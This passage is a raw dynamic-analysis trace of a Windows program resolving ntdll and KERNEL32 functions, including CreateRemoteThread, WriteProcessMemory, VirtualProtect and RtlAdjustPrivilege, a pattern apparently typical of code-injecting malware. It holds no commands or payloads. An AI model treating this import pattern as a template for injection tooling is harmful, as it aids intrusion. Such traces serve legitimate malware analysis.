BaseAddress=0x77340000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773801e3) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fac8) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlGetVersion", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7737873a) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773761ed) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fda0) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77373164) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77414a75) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77414f53) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77378f50) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7736ebdc) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7738ef93) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773bc780) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77414a48) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7738d2f3) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x774156cd) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7736e126) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7739b49f) returned 0x0 [0081.709] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fa80) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x774153c3) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77414760) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memset", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7736df20) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773f1f40) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773ba152) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77362340) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773bc300) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7736f546) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77372265) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aulldiv", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7739b140) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allmul", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77382760) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aullshr", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77378860) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allshl", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77373140) returned 0x0 [0081.710] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_chkstk", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7737ad68) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUnwind", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77386d39) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQueryVirtualMemory", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fbc8) returned 0x0 [0081.711] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x37fe70 | out: BaseAddress=0x37fe70*=0x769e0000) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f542c) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1986) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f5aa6) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a745cf) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a7416b) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4467) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7739d598) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a19d3f) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1856) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773745f5) returned 0x0 [0081.711] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f435f) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f49ca) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0eceb) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f14b1) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1245) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f3e8e) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f18f1) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1826) returned 0x0 [0081.712] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f10ff) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f49d7) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1410) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0d9e0) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f5506) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1809) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f53c6) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f5a4b) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0cfdf) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a12a9d) returned 0x0 [0081.713] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7736e026) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0d0a7) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a744bf) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f5444) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f14c9) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a12b7a) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1282) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1d526) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f11c0) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedIncrement", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1400) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedDecrement", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f13f0) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f35b7) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4a2d) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f16c5) returned 0x0 [0081.714] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77381f6e) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f110c) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f2d3c) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a12b0a) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a17d7e) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f43ef) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a13102) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4220) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4259) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4435) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f34d5) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0d802) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0efec) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1828e) returned 0x0 [0081.715] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4442) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f16dd) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f54ee) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1450) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f168c) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f103d) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1830d) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1700) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1bb2f) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f89b3) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f17ec) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f328c) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4950) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1276c) returned 0x0 [0081.716] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedExchange", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1462) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f3509) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1b18) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f196e) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4173) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f3f5c) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f170d) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f11a9) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77362270) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773622b0) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4c6b) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0b6e0) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a74ae0) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0ec6f) returned 0x0 [0081.717] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f111e) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a16dcb) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1136) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769fdd0e) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x77372c42) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f495d) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1222) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0174d) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1072) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f418b) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4c1b) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a7436f) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f186e) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0192a) returned 0x0 [0081.718] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f59bf) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f11e0) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f14fb) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f49ad) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f492b) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1ae5) returned 0x0 [0081.719] LdrGetProcedureAddress 